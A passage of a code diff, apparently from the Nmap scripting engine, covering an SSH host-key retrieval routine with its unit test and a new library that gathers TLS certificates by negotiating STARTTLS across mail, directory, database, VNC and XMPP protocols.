+ prime = openssl.bignum_bin2bn( prime ):tohex()
+ q = 1024
+ gen = openssl.bignum_bin2bn( gen ):todec()
+
+ kexdh_gex_used = true
+ else
+ stdnse.debug2("No shared KEX methods supported by server")
+ return
+ end
+
+ local e, g, x, p
+ -- e = g^x mod p
+ g = openssl.bignum_dec2bn( gen )
+ p = openssl.bignum_hex2bn( prime )
+ x = openssl.bignum_pseudo_rand( q )
+ e = openssl.bignum_mod_exp( g, x, p )
+
+ -- if kexdh_gex_used then
+ -- e = openssl.bignum_pseudo_rand( 1024 )
+ -- end
+
+ local payload
+ if kexdh_gex_used == true then
+ payload = transport.kexdh_gex_init( e )
+ else
+ payload = transport.kexdh_init( e )
+ end
+
+ packet = transport.build( payload )
+ status = socket:send( packet )
+ if not status then socket:close(); return end
+
+ local kexdh_reply
+ status, kexdh_reply = transport.receive_packet( socket )
+ if not status then socket:close(); return end
+ kexdh_reply = transport.payload( kexdh_reply )
+ -- check for proper msg code
+ local msg_code = kexdh_reply:byte(1)
+
+ if ( kexdh_gex_used == true and msg_code ~= SSH2.SSH_MSG_KEX_DH_GEX_REPLY )
+ or ( kexdh_gex_used == false and msg_code ~= SSH2.SSH_MSG_KEXDH_REPLY )
+ then
+ socket:close()
+ return
+ end
+
+ local bits, algorithm
+ local _, public_host_key = string.unpack( ">Bs4", kexdh_reply )
+
+ if key_type == 'ssh-dss' then
+ algorithm = "DSA"
+ local _, p = string.unpack( ">s4s4", public_host_key )
+ bits = openssl.bignum_bin2bn( p ):num_bits()
+ elseif key_type == 'ssh-rsa' then
+ algorithm = "RSA"
+ local _, _, n = string.unpack( ">s4s4s4", public_host_key )
+ bits = openssl.bignum_bin2bn( n ):num_bits()
+ elseif key_type == 'ecdsa-sha2-nistp256' then
+ algorithm = "ECDSA"
+ bits = "256"
+ elseif key_type == 'ecdsa-sha2-nistp384' then
+ algorithm = "ECDSA"
+ bits = "384"
+ elseif key_type == 'ecdsa-sha2-nistp521' then
+ algorithm = "ECDSA"
+ bits = "521"
+ elseif key_type == 'ssh-ed25519' then
+ algorithm = "ED25519"
+ bits = "256"
+ else
+ stdnse.debug1("Unsupported key type: %s", key_type )
+ end
+
+ socket:close()
+ return { key=base64.enc(public_host_key), key_type=key_type, fp_input=public_host_key, bits=bits,
+ full_key=('%s %s'):format(key_type,base64.enc(public_host_key)),
+ algorithm=algorithm, fingerprint=openssl.md5(public_host_key),
+ fp_sha256=openssl.digest("sha256",public_host_key)}
+end
+
+-- constants
+
+SSH2 = {
+ SSH_MSG_DISCONNECT = 1,
+ SSH_MSG_IGNORE = 2,
+ SSH_MSG_UNIMPLEMENTED = 3,
+ SSH_MSG_DEBUG = 4,
+ SSH_MSG_SERVICE_REQUEST = 5,
+ SSH_MSG_SERVICE_ACCEPT = 6,
+ SSH_MSG_KEXINIT = 20,
+ SSH_MSG_NEWKEYS = 21,
+ SSH_MSG_KEXDH_INIT = 30,
+ SSH_MSG_KEXDH_REPLY = 31,
+
+ SSH_MSG_KEX_DH_GEX_REQUEST_OLD = 30,
+ SSH_MSG_KEX_DH_GEX_REQUEST = 34,
+ SSH_MSG_KEX_DH_GEX_GROUP = 31,
+ SSH_MSG_KEX_DH_GEX_INIT = 32,
+ SSH_MSG_KEX_DH_GEX_REPLY = 33,
+}
+
+
+local unittest = require "unittest"
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+
+local mpints = {
+ {"0", "\x00\x00\x00\x00"},
+ {"9a378f9b2e332a7", "\x00\x00\x00\x08\x09\xa3\x78\xf9\xb2\xe3\x32\xa7"},
+ {"80", "\x00\x00\x00\x02\x00\x80"},
+ --[[ RFC 4251 says negative numbers are 2's complement, but OpenSSL doesn't do that
+ {"-1234", "\x00\x00\x00\x02\xed\xcc"},
+ {"-deadbeef", "\x00\x00\x00\x05\xff\x21\x52\x41\x11"},
+ ]]--
+}
+
+for _, t in ipairs(mpints) do
+ local bn = openssl.bignum_hex2bn(t[1])
+ test_suite:add_test(unittest.equal(transport.pack_mpint(bn), t[2]), ("pack mpint 0x%s"):format(t[1]))
+end
+
+return _ENV;
diff --git a/nselib/sslcert.lua b/nselib/sslcert.lua
new file mode 100644
index 0000000..a8f84c1
--- /dev/null
+++ b/nselib/sslcert.lua
@@ -0,0 +1,1094 @@
+---
+-- A library providing functions for collecting SSL certificates and storing
+-- them in the host-based registry.
+--
+-- The library is largely based on code (copy-pasted) from David Fifields
+-- ssl-cert script in an effort to allow certs to be cached and shared among
+-- other scripts.
+--
+-- STARTTLS functions are included for several protocols:
+--
+-- * FTP
+-- * IMAP
+-- * LDAP
+-- * NNTP
+-- * MySQL
+-- * POP3
+-- * PostgreSQL
+-- * SMTP
+-- * TDS (MS SQL Server)
+-- * VNC (TLS and VeNCrypt auth types)
+-- * XMPP
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+
+local asn1 = require "asn1"
+local comm = require "comm"
+local ftp = require "ftp"
+local ldap = require "ldap"
+local match = require "match"
+local mssql = require "mssql"
+local mysql = require "mysql"
+local nmap = require "nmap"
+local smtp = require "smtp"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+local tls = require "tls"
+local vnc = require "vnc"
+local xmpp = require "xmpp"
+local have_openssl, openssl = pcall(require, "openssl")
+_ENV = stdnse.module("sslcert", stdnse.seeall)
+
+if have_openssl then
+ --- Parse an X.509 certificate from DER-encoded string
+ --
+ -- This uses OpenSSL's X.509 parsing routines, so if OpenSSL support is not
+ -- included, only the <code>pem</code> key of the returned table will be
+ -- present.
+ --@name parse_ssl_certificate
+ --@class function
+ --@param der DER-encoded certificate
+ --@return table containing decoded certificate or nil on failure
+ --@return error string if parsing failed
+ --@see nmap.get_ssl_certificate
+ _ENV.parse_ssl_certificate = nmap.socket.parse_ssl_certificate
+else
+ local base64 = require "base64"
+ _ENV.parse_ssl_certificate = function(der)
+ return {
+ pem = ("-----BEGIN CERTIFICATE-----\n%s\n-----END CERTIFICATE-----\n"):format(
+ base64.enc(der):gsub("(" .. ("."):rep(64) .. ")", "%1\n"):gsub("\n$", "")
+ )
+ }
+ end
+end
+
+-- Mark whether this port supports STARTTLS, to save connection attempts later.
+-- If it ever succeeds, it can't be marked as failing later, but if it fails
+-- the first time, we won't try again.
+local function starttls_supported(host, port, state)
+ host.registry.starttls = host.registry.starttls or {}
+ local reg = host.registry.starttls
+ local mutex = nmap.mutex(reg)
+ local key = ("%d/%s"):format(port.number, port.protocol)
+ if reg[key] ~= nil then
+ return reg[key]
+ end
+ -- try releasing mutex, ignore error if we don't hold it.
+ pcall(mutex, "done")
+ reg[key] = state
+ host.registry.starttls_failed = reg
+end
+
+-- Check whether we've tried and failed to STARTTLS already
+local function check_starttls_failed (host, port)
+ host.registry.starttls = host.registry.starttls or {}
+ local reg = host.registry.starttls
+ local key = ("%d/%s"):format(port.number, port.protocol)
+ local mutex = nmap.mutex(reg)
+ mutex "lock"
+ if reg[key] ~= nil then
+ -- somebody already did the hard work.
+ mutex "done"
+ return not reg[key]
+ end
+ -- no idea. Keep it locked until we know.
+end
+
+-- Simple reconnect_ssl wrapper for most common case
+local function tls_reconnect (func)
+ return function (host, port)
+ local err
+ local status, s = StartTLS[func](host, port)
+ if status then
+ status,err = s:reconnect_ssl()
+ if not status then
+ stdnse.debug1("Could not establish SSL session after STARTTLS command.")
+ s:close()
+ return false, "Failed to connect to server"
+ else
+ return true, s
+ end
+ end
+ return false, string.format("Failed to connect to server: %s", s or "unknown error")
+ end
+end
+
+-- Class for sockets which wrap sends and receives in some sort of tunnel
+-- Overload the wrap_close, wrap_send, and wrap_receive functions to use it.
+-- The socket won't be able to reconnect_ssl, though, since Nsock has
+-- no idea about the wrapper. Still useful for ssl-* scripts.
+WrappedSocket =
+{
+ new = function(self, socket, o)
+ assert(socket, "socket must be connected socket!")
+ o = o or {}
+ o.socket = socket
+ setmetatable(o, self)
+ self.__index = function(instance, key)
+ return rawget(self, key) or instance.socket[key]
+ end
+ return o
+ end,
+
+ close = function(self)
+ return self:wrap_close()
+ end,
+
+ receive = function(self)
+ return self:wrap_receive()
+ end,
+
+ send = function(self, data)
+ return self:wrap_send(data)
+ end,
+
+ set_timeout = function(self, timeout)
+ return self.socket:set_timeout(timeout)
+ end,
+
+ receive_buf = function(self, delimiter, keeppattern)
+ self.buffer = self.buffer or ""
+ local delim_func
+ if type(delimiter) == "function" then
+ delim_func = delimiter
+ else
+ delim_func = function(buf)
+ return string.find(buf, delimiter)
+ end
+ end
+ local start, finish = delim_func(self.buffer)
+ if start then
+ local rval
+ if keeppattern then
+ rval = string.sub(self.buffer, 1, finish)
+ else
+ rval = string.sub(self.buffer, 1, start - 1)
+ end
+ self.buffer = string.sub(self.buffer, finish + 1)
+ return true, rval
+ else
+ local status, data = self:receive()
+ if not status then
+ return status, data
+ end
+ self.buffer = self.buffer .. data
+ -- tail recursion
+ return self:receive_buf(delimiter, keeppattern)
+ end
+ end,
+
+ receive_bytes = function(self, n)
+ local x = 0
+ local read = {}
+ while x < n do
+ local status, data = self:receive()
+ if not status then
+ return status, data
+ end
+ read[#read+1] = data
+ x = x + #data
+ end
+ return true, table.concat(read)
+ end,
+
+ receive_lines = function(self, n)
+ local x = 0
+ local read = {}
+ local function incr()
+ x = x + 1
+ end
+ while x < n do
+ local status, data = self:receive()
+ if not status then
+ return status, data
+ end
+ read[#read+1] = data
+ string.gsub(data, "\n", incr)
+ end
+ return true, table.concat(read)
+ end,
+
+ }
+
+
+StartTLS = {
+
+ ftp_prepare_tls_without_reconnect = function(host, port)
+ -- Attempt to negotiate TLS over FTP for services that support it
+ -- Works for FTP (21)
+
+ -- Open a standard TCP socket
+ local s, code, result, buf = ftp.connect(host, port)
+ if not s then
+ return false, string.format("Failed to connect to FTP server: %s", code)
+ end
+ if code ~= 220 then
+ return false, string.format("FTP protocol error: %s", code or result)
+ end
+
+ -- Send AUTH TLS command, ask the service to start encryption
+ local status, err = ftp.starttls(s, buf)
+ if not status then
+ starttls_supported(host, port, false)
+ ftp.close(s)
+ return false, string.format("FTP AUTH TLS error: %s", err)
+ end
+ -- Should have a solid TLS over FTP session now...
+ starttls_supported(host, port, true)
+ return true, s
+ end,
+
+ ftp_prepare_tls = tls_reconnect("ftp_prepare_tls_without_reconnect"),
+
+ imap_prepare_tls_without_reconnect = function(host, port)
+ -- Attempt to negotiate TLS over IMAP for services that support it
+ -- Works for IMAP (143)
+
+ -- Open a standard TCP socket
+ local s, err, result = comm.opencon(host, port, "", {lines=1, recv_before=true})
+ if not s then
+ return false, string.format("Failed to connect to IMAP server: %s", err)
+ end
+
+ if not string.match(result, "^%* OK") then
+ return false, "IMAP protocol mismatch"
+ end
+
+ -- Check for STARTTLS support.
+ local status = s:send("A001 CAPABILITY\r\n")
+ status, result = s:receive_lines(1)
+
+ if not (string.match(result, "STARTTLS")) then
+ starttls_supported(host, port, false)
+ stdnse.debug1("Server doesn't support STARTTLS")
+ return false, "Failed to connect to IMAP server"
+ end
+
+ -- Send the STARTTLS message
+ status = s:send("A002 STARTTLS\r\n")
+ status, result = s:receive_lines(1)
+
+ if not (string.match(result, "^A002 OK")) then
+ starttls_supported(host, port, false)
+ stdnse.debug1(string.format("Error: %s", result))
+ return false, "Failed to connect to IMAP server"
+ end
+
+ -- Should have a solid TLS over IMAP session now...
+ starttls_supported(host, port, true)
+ return true, s
+ end,
+
+ imap_prepare_tls = tls_reconnect("imap_prepare_tls_without_reconnect"),
+
+ ldap_prepare_tls_without_reconnect = function(host, port)
+ local s = nmap.new_socket()
+ -- Attempt to negotiate TLS over LDAP for services that support it
+ -- Works for LDAP (389)
+
+ -- Open a standard TCP socket
+ local status, error = s:connect(host, port, "tcp")
+ if not status then
+ return false, "Failed to connect to LDAP server"
+ end
+
+ -- Create an LDAP extendedRequest and specify the OID for the
+ -- STARTTLS operation (see http://www.ietf.org/rfc/rfc2830.txt)
+ local oid = "1.3.6.1.4.1.1466.20037"
+
+ -- 0x80 = 10000001 = 10 0 00000
+ -- hex binary Context Primitive value Field: requestName Value: 0
+ local encodedOID = string.pack('Bs1', 0x80, oid)
+
+ local ldapRequest, ldapRequestId
+ local ExtendedRequest = 23
+ local ExtendedResponse = 24
+ ldapRequest = ldap.encodeLDAPOp(ExtendedRequest, true, encodedOID)
+ ldapRequestId = ldap.encode(1)
+
+ -- Send the STARTTLS request
+ local encoder = asn1.ASN1Encoder:new()
+ local data = encoder:encodeSeq(ldapRequestId .. ldapRequest)
+ status = s:send(data)
+ if not status then
+ return false, "STARTTLS failed"
+ end
+
+ -- Decode the response
+ local response
+ status, response = s:receive()
+ if not status then
+ return false, "STARTTLS failed"
+ end
+
+ local decoder = asn1.ASN1Decoder:new()
+ local len, pos, messageId, ldapOp, tmp = ""
+ len, pos = decoder.decodeLength(response, 2)
+ messageId, pos = ldap.decode(response, pos)
+ tmp, pos = string.unpack("B", response, pos)
+ ldapOp = asn1.intToBER(tmp)
+
+ if ldapOp.number ~= ExtendedResponse then
+ starttls_supported(host, port, false)
+ stdnse.debug1(string.format(
+ "STARTTLS failed (got wrong op number: %d)", ldapOp.number))
+ return false, "STARTTLS failed"
+ end
+
+ local resultCode
+ len, pos = decoder.decodeLength(response, pos)
+ resultCode, pos = ldap.decode(response, pos)
+
+ if resultCode ~= 0 then
+ starttls_supported(host, port, false)
+ stdnse.debug1(string.format(
+ "STARTTLS failed (LDAP error code is: %s)", tonumber(resultCode) or "not a number"))
+ return false, "STARTTLS failed"
+ end
+
+ -- Should have a solid TLS over LDAP session now...
+ starttls_supported(host, port, true)
+ return true,s
+ end,
+
+ ldap_prepare_tls = tls_reconnect("ldap_prepare_tls_without_reconnect"),
+
+ lmtp_prepare_tls_without_reconnect = function(host, port)
+ -- Open a standard TCP socket
+ local s, result = smtp.connect(host, port, {lines=1, recv_before=1, ssl=false})
+ if not s then
+ return false, string.format("Failed to connect to LMTP server: %s", result)
+ end
+
+ local status
+ status, result = smtp.query(s, "LHLO", smtp.get_domain(host))
+ if not status then
+ stdnse.debug1("LHLO with errors or timeout. Enable --script-trace to see what is happening.")
+ return false, string.format("Failed to LHLO: %s", result)
+ end
+ -- semantics of LHLO are same as EHLO
+ status, result = smtp.check_reply("EHLO", result)
+ if not status then
+ return false, string.format("Received LHLO error: %s", result)
+ end
+
+ -- Send STARTTLS command ask the service to start encryption
+ status, result = smtp.query(s, "STARTTLS")
+ if status then
+ status, result = smtp.check_reply("STARTTLS", result)
+ end
+
+ if not status then
+ starttls_supported(host, port, false)
+ stdnse.debug1("STARTTLS failed or unavailable. Enable --script-trace to see what is happening.")
+
+ -- Send QUIT to clean up server side connection
+ smtp.quit(s)
+ return false, string.format("Failed to connect to SMTP server: %s", result)
+ end
+ -- Should have a solid TLS over LMTP session now...
+ starttls_supported(host, port, true)
+ return true, s
+ end,
+
+ lmtp_prepare_tls = tls_reconnect("lmtp_prepare_tls_without_reconnect"),
+
+ mysql_prepare_tls_without_reconnect = function(host, port)
+ local s, err = comm.opencon(host, port)
+ if not s then
+ return false, string.format("Failed to connect to MySQL server: %s", err)
+ end
+ local status, resp = mysql.receiveGreeting(s)
+ if not status then
+ return false, string.format("MySQL handshake error: %s", resp)
+ end
+ if 0 == resp.capabilities & mysql.Capabilities.SwitchToSSLAfterHandshake then
+ return false, "MySQL server does not support SSL"
+ end
+ local clicap = mysql.Capabilities.SwitchToSSLAfterHandshake
+ + mysql.Capabilities.LongPassword
+ + mysql.Capabilities.LongColumnFlag
+ + mysql.Capabilities.SupportsLoadDataLocal
+ + mysql.Capabilities.Speaks41ProtocolNew
+ + mysql.Capabilities.InteractiveClient
+ + mysql.Capabilities.SupportsTransactions
+ + mysql.Capabilities.Support41Auth
+ local packet = string.pack( "<I2I2I4B c23",
+ clicap,
+ 0,
+ 16777216,
+ mysql.Charset.latin1_COLLATE_latin1_swedish_ci,
+ string.rep("\0", 23)
+ )
+ packet = string.pack("<I4", #packet + (1 << 24)) .. packet
+ s:send(packet)
+ return true, s
+ end,
+
+ mysql_prepare_tls = tls_reconnect("mysql_prepare_tls_without_reconnect"),
+
+ nntp_prepare_tls_without_reconnect = function(host, port)
+ local s, err, result = comm.opencon(host, port, "", {lines=1, recv_before=true})
+ if not s then
+ return false, string.format("Failed to connect to NNTP server: %s", err)
+ end
+
+ if not string.match(result, "^200") then
+ return false, "NNTP protocol mismatch"
+ end
+
+ local status = s:send("STARTTLS\r\n")
+ status, result = s:receive_lines(1)
+
+ if not (string.match(result, "^382 ")) then
+ starttls_supported(host, port, false)
+ stdnse.debug1(string.format("Error: %s", result))
+ status = s:send("QUIT\r\n")
+ s:close()
+ return false, "NNTP server does not support STARTTLS"
+ end
+
+ starttls_supported(host, port, true)
+ return true, s
+ end,
+
+ nntp_prepare_tls = tls_reconnect("nntp_prepare_tls_without_reconnect"),
+
+ pop3_prepare_tls_without_reconnect = function(host, port)
+ -- Attempt to negotiate TLS over POP3 for services that support it
+ -- Works for POP3 (110)
+
+ -- Open a standard TCP socket
+ local s, err, result = comm.opencon(host, port, "", {lines=1, recv_before=true})
+ if not s then
+ return false, string.format("Failed to connect to POP3 server: %s", err)
+ end
+
+ if not string.match(result, "^%+OK") then
+ return false, "POP3 protocol mismatch"
+ end
+
+ -- Send the STLS message
+ local status = s:send("STLS\r\n")
+ status, result = s:receive_lines(1)
+
+ if not (string.match(result, "^%+OK")) then
+ starttls_supported(host, port, false)
+ stdnse.debug1(string.format("Error: %s", result))
+ status = s:send("QUIT\r\n")
+ return false, "Failed to connect to POP3 server"
+ end
+
+ -- Should have a solid TLS over POP3 session now...
+ starttls_supported(host, port, true)
+ return true, s
+ end,
+
+ pop3_prepare_tls = tls_reconnect("pop3_prepare_tls_without_reconnect"),
+
+ postgres_prepare_tls_without_reconnect = function(host, port)
+ -- http://www.postgresql.org/docs/devel/static/protocol-message-formats.html
+ -- 80877103 is "SSLRequest" in v2 and v3 of Postgres protocol
+ local s, resp = comm.opencon(host, port, string.pack(">I4I4", 8, 80877103))
+ if not s then
+ return false, ("Failed to connect to Postgres server: %s"):format(resp)
+ end
+ -- v2 has "Y", v3 has "S"
+ if string.match(resp, "^[SY]") then
+ starttls_supported(host, port, true)
+ return true, s
+ elseif string.match(resp, "^N") then
+ starttls_supported(host, port, false)
+ return false, "Postgres server does not support SSL"
+ end
+ return false, "Unknown response from Postgres server"
+ end,
+
+ postgres_prepare_tls = tls_reconnect("postgres_prepare_tls_without_reconnect"),
+
+ smtp_prepare_tls_without_reconnect = function(host, port)
+ -- Attempt to negotiate TLS over SMTP for services that support it
+ -- Works for SMTP (25) and SMTP Submission (587)
+
+ -- Open a standard TCP socket
+ local s, result = smtp.connect(host, port, {lines=1, recv_before=1, ssl=false})
+ if not s then
+ return false, string.format("Failed to connect to SMTP server: %s", result)
+ end
+
+ local status
+ status, result = smtp.ehlo(s, smtp.get_domain(host))
+ if not status then
+ stdnse.debug1("EHLO with errors or timeout. Enable --script-trace to see what is happening.")
+ return false, string.format("Failed to connect to SMTP server: %s", result)
+ end
+
+ -- Send STARTTLS command ask the service to start encryption
+ status, result = smtp.query(s, "STARTTLS")
+ if status then
+ status, result = smtp.check_reply("STARTTLS", result)
+ end
+
+ if not status then
+ starttls_supported(host, port, false)
+ stdnse.debug1("STARTTLS failed or unavailable. Enable --script-trace to see what is happening.")
+
+ -- Send QUIT to clean up server side connection
+ smtp.quit(s)
+ return false, string.format("Failed to connect to SMTP server: %s", result)
+ end
+ -- Should have a solid TLS over SMTP session now...
+ starttls_supported(host, port, true)
+ return true, s
+ end,
+
+ smtp_prepare_tls = tls_reconnect("smtp_prepare_tls_without_reconnect"),
+
+ tds_prepare_tls_without_reconnect = function(host, port)
+ local tds = mssql.TDSStream:new()
+ local status, result = tds:Connect(host, port)
+ if not status then return status, result end
+ local prelogin = mssql.PreLoginPacket:new()
+ prelogin:SetRequestEncryption(true)
+ tds:Send( prelogin:ToBytes() )
+ status, result = tds:Receive()
+ if not status then return status, result end
+
+ local status, preloginResponse = mssql.PreLoginPacket.FromBytes(result)
+ if not status then return status, preloginResponse end
+
+ local encryption
+ local optype, oppos, oplen, pos = string.unpack('>BI2I2', result)
+ while optype ~= mssql.PreLoginPacket.OPTION_TYPE.Terminator do
+ --stdnse.debug1("optype: %d, oppos: %x, oplen: %d", optype, oppos, oplen)
+ if optype == mssql.PreLoginPacket.OPTION_TYPE.Encryption then
+ encryption, pos = string.unpack('B', result, oppos + 1)
+ break
+ end
+ optype, oppos, oplen, pos = string.unpack('>BI2I2', result, pos)
+ end
+ if not encryption then
+ starttls_supported(host, port, false)
+ return false, "no encryption option found"
+ elseif encryption == 0 then
+ starttls_supported(host, port, false)
+ return false, "Server refused encryption"
+ elseif encryption == 3 then
+ starttls_supported(host, port, false)
+ return false, "Server does not support encryption"
+ end
+
+ starttls_supported(host, port, true)
+ return true, WrappedSocket:new(tds._socket, {
+ wrap_close = function(self)
+ return tds:Disconnect()
+ end,
+ wrap_receive = function(self)
+ -- mostly lifted from mssql.TDSStream.Receive
+ -- TODO: Modify that function to allow receiving arbitrary response
+ -- types, since it's only because it forces type 0x04 that we had to
+ -- do this here (where we expect type 0x12)
+ local combinedData = ""
+ local readBuffer = ""
+ local pos = 1
+ local tdsPacketAvailable = true
+
+ -- Large messages (e.g. result sets) can be split across multiple TDS
+ -- packets from the server (which could themselves each be split across
+ -- multiple TCP packets or SMB messages).
+ while ( tdsPacketAvailable ) do
+ -- If there is existing data in the readBuffer, see if there's
+ -- enough to read the TDS headers for the next packet. If not,
+ -- do another read so we have something to work with.
+ if #readBuffer < 8 then
+ status, result = tds._socket:receive_bytes(8 - readBuffer:len())
+ if not status then return status, result end
+ readBuffer = readBuffer .. result
+ end
+
+ -- TDS packet validity check: packet at least as long as the TDS header
+ if #readBuffer < 8 then
+ return false, "Server returned short packet"
+ end
+
+ -- read in the TDS headers
+ local packetType, messageStatus, packetLength
+ packetType, messageStatus, packetLength, pos = string.unpack(">BBI2", readBuffer, pos )
+ local spid, packetId, window
+ spid, packetId, window, pos = string.unpack(">I2BB", readBuffer, pos )
+
+ if packetLength > #readBuffer then
+ status, result = tds._socket:receive_bytes(packetLength - #readBuffer)
+ if not status then return status, result end
+ readBuffer = readBuffer .. result
+ end
+
+ -- We've read in an apparently valid TDS packet
+ local thisPacketData = readBuffer:sub( pos, packetLength )
+ -- Append its data to that of any previous TDS packets
+ combinedData = combinedData .. thisPacketData
+ -- If we read in data beyond the end of this TDS packet, save it
+ -- so that we can use it in the next loop.
+ readBuffer = readBuffer:sub( packetLength + 1 )
+
+ -- Check the status flags in the TDS packet to see if the message is
+ -- continued in another TDS packet.
+ tdsPacketAvailable = (
+ (messageStatus & mssql.TDSStream.MESSAGE_STATUS_FLAGS.EndOfMessage)
+ ~= mssql.TDSStream.MESSAGE_STATUS_FLAGS.EndOfMessage)
+ end
+
+ -- return only the data section ie. without the headers
+ return true, combinedData
+
+ end,
+ wrap_send = function(self, data)
+ return tds:Send(mssql.PacketType.PreLogin, data)
+ end,
+ })
+ end,
+ -- no TLS reconnect for TDS because of the wrapped handshake thing.
+ tds_prepare_tls = function(host, port)
+ return false, "Full SSL connection over TDS not supported"
+ end,
+
+ vnc_prepare_tls_without_reconnect = function(host,port)
+ local v = vnc.VNC:new( host, port )
+
+ local status, data = v:connect()
+ if not status then
+ return false, string.format("Failed to connect to VNC server: %s", data)
+ end
+
+ status, data = v:handshake()
+ if not status then
+ return false, string.format("Failed VNC handshake: %s", data)
+ end
+
+ local sock = v.socket
+ if v:supportsSecType(vnc.VNC.sectypes.VENCRYPT) then
+
+ status, data = v:handshake_vencrypt()
+ if not status then
+ return false, string.format("Failed VeNCrypt handshake: %s", data)
+ end
+ local auth_order = {
+ -- X509 types are not anonymous, have real certs
+ vnc.VENCRYPT_SUBTYPES.X509VNC,
+ vnc.VENCRYPT_SUBTYPES.X509SASL,
+ vnc.VENCRYPT_SUBTYPES.X509NONE,
+ vnc.VENCRYPT_SUBTYPES.X509PLAIN,
+ -- TLS types use anonymous DH handshakes
+ vnc.VENCRYPT_SUBTYPES.TLSVNC,
+ vnc.VENCRYPT_SUBTYPES.TLSSASL,
+ vnc.VENCRYPT_SUBTYPES.TLSNONE,
+ vnc.VENCRYPT_SUBTYPES.TLSPLAIN,
+ -- PLAIN type doesn't use TLS
+ }
+ local best
+ for i=1, #auth_order do
+ if tableaux.contains(v.vencrypt.types, auth_order[i]) then
+ best = auth_order[i]
+ break
+ end
+ end
+
+ if not best then
+ starttls_supported(host, port, false)
+ return false, "No TLS VeNCrypt auth subtype received"
+ end
+ sock:send(string.pack(">I4", best))
+ local status, buf = sock:receive_buf(match.numbytes(1), true)
+ if not status or string.byte(buf, 1) ~= 1 then
+ starttls_supported(host, port, false)
+ return false, "VeNCrypt auth subtype refused"
+ end
+ starttls_supported(host, port, true)
+ return true, sock
+ elseif v:supportsSecType(vnc.VNC.sectypes.TLS) then
+ status = sock:send( string.pack("B", vnc.VNC.sectypes.TLS) )
+ if not status then
+ starttls_supported(host, port, false)
+ return false, "Failed to select TLS authentication type"
+ end
+ else
+ starttls_supported(host, port, false)
+ return false, string.format("No TLS auth types supported")
+ end
+ starttls_supported(host, port, true)
+ return true, sock
+ end,
+
+ vnc_prepare_tls = tls_reconnect("vnc_prepare_tls_without_reconnect"),
+
+ xmpp_prepare_tls_without_reconnect = function(host,port)
+ local sock,status,err,result
+ local xmppStreamStart = string.format("<?xml version='1.0' ?>\r\n<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'>\r\n",host.name)
+ local xmppStartTLS = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\r\n"
+ sock = nmap.new_socket()
+ sock:set_timeout(5000)
+ status, err = sock:connect(host, port)
+ if not status then
+ sock:close()
+ stdnse.debug1("Can't send: %s", err)
+ return false, "Failed to connect to XMPP server"
+ end
+ status, err = sock:send(xmppStreamStart)
+ if not status then
+ stdnse.debug1("Couldn't send: %s", err)
+ sock:close()
+ return false, "Failed to connect to XMPP server"
+ end
+ status, result = sock:receive()
+ if not status then
+ stdnse.debug1("Couldn't receive: %s", err)
+ sock:close()
+ return false, "Failed to connect to XMPP server"
+ end
+ status, err = sock:send(xmppStartTLS)
+ if not status then
+ stdnse.debug1("Couldn't send: %s", err)
+ sock:close()
+ return false, "Failed to connect to XMPP server"
+ end
+ status, result = sock:receive()
+ if not status then
+ stdnse.debug1("Couldn't receive: %s", err)
+ sock:close()
+ return false, "Failed to connect to XMPP server"
+ end
+ if string.find(result,"proceed") then
+ starttls_supported(host, port, true)
+ return true,sock
+ end
+
+ status, result = sock:receive() -- might not be in the first reply
+ if not status then
+ stdnse.debug1("Couldn't receive: %s", err)
+ sock:close()
+ return false, "Failed to connect to XMPP server"
+ end
+ if string.find(result,"proceed") then
+ starttls_supported(host, port, true)
+ return true,sock
+ else
+ starttls_supported(host, port, false)
+ return false, "Failed to connect to XMPP server"
+ end
+ end,
+
+ xmpp_prepare_tls = function(host, port)
+ local ls = xmpp.XMPP:new(host, port, { starttls = true } )
+ ls.socket = nmap.new_socket()
+ ls.socket:set_timeout(ls.options.timeout * 1000)
+
+ local status, err = ls.socket:connect(host, port)
+ if not status then
+ return nil
+ end
+
+ status, err = ls:connect()
+ if not(status) then
+ return false, "Failed to connected"
+ end
+ starttls_supported(host, port, true)
+ return true, ls.socket
+ end
+}
+
+
+-- A table mapping port numbers to specialized SSL negotiation functions.
+local SPECIALIZED_PREPARE_TLS = {
+ ftp = StartTLS.ftp_prepare_tls,
+ [21] = StartTLS.ftp_prepare_tls,
+ nntp = StartTLS.nntp_prepare_tls,
+ [119] = StartTLS.nntp_prepare_tls,
+ imap = StartTLS.imap_prepare_tls,
+ [143] = StartTLS.imap_prepare_tls,
+ ldap = StartTLS.ldap_prepare_tls,
+ [389] = StartTLS.ldap_prepare_tls,
+ lmtp = StartTLS.lmtp_prepare_tls,
+ pop3 = StartTLS.pop3_prepare_tls,
+ [110] = StartTLS.pop3_prepare_tls,
+ postgresql = StartTLS.postgres_prepare_tls,
+ [5432] = StartTLS.postgres_prepare_tls,
+ smtp = StartTLS.smtp_prepare_tls,
+ [25] = StartTLS.smtp_prepare_tls,
+ [587] = StartTLS.smtp_prepare_tls,
+ mysql = StartTLS.mysql_prepare_tls,
+ [3306] = StartTLS.mysql_prepare_tls,
+ xmpp = StartTLS.xmpp_prepare_tls,
+ [5222] = StartTLS.xmpp_prepare_tls,
+ [5269] = StartTLS.xmpp_prepare_tls,
+ vnc = StartTLS.vnc_prepare_tls,
+ [5900] = StartTLS.vnc_prepare_tls,
+ ["ms-sql-s"] = StartTLS.tds_prepare_tls
+}
+
+local SPECIALIZED_PREPARE_TLS_WITHOUT_RECONNECT = {
+ ftp = StartTLS.ftp_prepare_tls_without_reconnect,
+ [21] = StartTLS.ftp_prepare_tls_without_reconnect,
+ nntp = StartTLS.nntp_prepare_tls_without_reconnect,
+ [119] = StartTLS.nntp_prepare_tls_without_reconnect,
+ imap = StartTLS.imap_prepare_tls_without_reconnect,
+ [143] = StartTLS.imap_prepare_tls_without_reconnect,
+ ldap = StartTLS.ldap_prepare_tls_without_reconnect,
+ [389] = StartTLS.ldap_prepare_tls_without_reconnect,
+ lmtp = StartTLS.lmtp_prepare_tls_without_reconnect,
+ pop3 = StartTLS.pop3_prepare_tls_without_reconnect,
+ [110] = StartTLS.pop3_prepare_tls_without_reconnect,
+ postgresql = StartTLS.postgres_prepare_tls_without_reconnect,
+ [5432] = StartTLS.postgres_prepare_tls_without_reconnect,
+ smtp = StartTLS.smtp_prepare_tls_without_reconnect,
